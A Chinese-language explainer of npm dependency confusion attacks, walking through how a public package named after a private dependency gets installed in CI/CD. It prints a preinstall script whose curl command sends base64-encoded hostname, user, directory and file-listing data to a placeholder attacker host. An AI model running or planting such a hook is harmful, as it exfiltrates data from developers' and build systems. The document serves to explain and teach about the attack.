正文
正常情况下
在一个正常的开发和部署环境中,package.json 文件和相关脚本被用来管理项目依赖、定义项目设置以及执行常规的构建或部署任务。一个典型的正常请求过程可能如下:
1.安装依赖:
#现代有很多人用yarn,pnpm等替代npm,不管怎么说,但是他们都是从同一个中央文件库(如NPM官方仓库)里面下载依赖
npm install
这个命令根据package.json中列出的依赖项安装所需的库。这些库来自于可信的、经过验证的来源(如NPM官方仓库)。
2.执行脚本:
在package.json中,可能定义了多种脚本用于测试、构建或部署,例如:
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
}
执行测试脚本:
npm test
这会运行定义在test脚本中的命令,通常这些脚本用于运行单元测试或其他验证检查。
受到攻击后
在受到依赖混淆攻击的情况下,package.json中的依赖可能指向了恶意代码或脚本,攻击者利用这一点在CI/CD流程中执行非授权代码。攻击示例可能如下:
恶意依赖安装:
如果攻击者在公共仓库中注册了一个与私有依赖同名的包,并且该包包含恶意代码,那么在执行:
npm install
的时候,可能会错误地从公共仓库下载并安装这个恶意包,而不是原本预期的私有包。
执行恶意脚本
如果package.json的preinstall脚本被指向攻击者控制的脚本,如:
"scripts": {
"preinstall": "./pre.sh"
}
其中pre.sh可能包含以下内容:
#!/bin/bash
curl -H "Hostname: $(hostname | base64)" -H "Whoami: $(whoami | base64)" -H "Pwd: $(pwd | base64)" -d $(ls -la | base64) http://yourvps.com
这个脚本会在安装依赖前执行,发送关键的系统信息到攻击者的服务器,甚至可能包括敏感的环境数据。
整个攻击流程
环节 1:发现未声明的依赖项
攻击者在调查其他安全问题时,获取到了目标系统的package.json文件(这种文件可以通过暴力破解目录的方式获取比如Dirsearch或者是ffuf等)。通过分析这个文件,攻击者发现了一个未在公共NPM仓库中注册的依赖名。这个依赖可能是私有的,或者没有被正确声明。
常见的分析文件的工具如: https://github.com/visma-prodsec/confused
环节 2:注册和创建恶意包
利用依赖混淆:
攻击者在公共NPM仓库中注册了未声明的依赖名,并上传了一个包含恶意代码的包。这个恶意包包含了攻击者设计的脚本和代码,旨在执行特定的恶意操作。
环节 3:执行恶意代码
恶意脚本的植入和触发:
攻击者在恶意包中包括了一个preinstall脚本(pre.sh),这个脚本在包安装之前自动执行。脚本内容可能包括发送敏感信息到攻击者服务器的命令,如系统用户名、主机名和当前目录等。
当目标组织的CI/CD流程自动安装依赖时,由于名称混淆,CI/CD系统会从公共仓库下载并安装攻击者的恶意包而不是原本预期的私有或正确的包。
环节 4:信息收集与进一步的利用
数据泄露和系统访问:
pre.sh脚本执行时,会通过curl命令发送编码后的系统信息到攻击者控制的服务器。攻击者可以利用这些信息进行进一步的攻击,例如通过收集的信息进行针对性的进一步渗透或发起更具破坏性的攻击。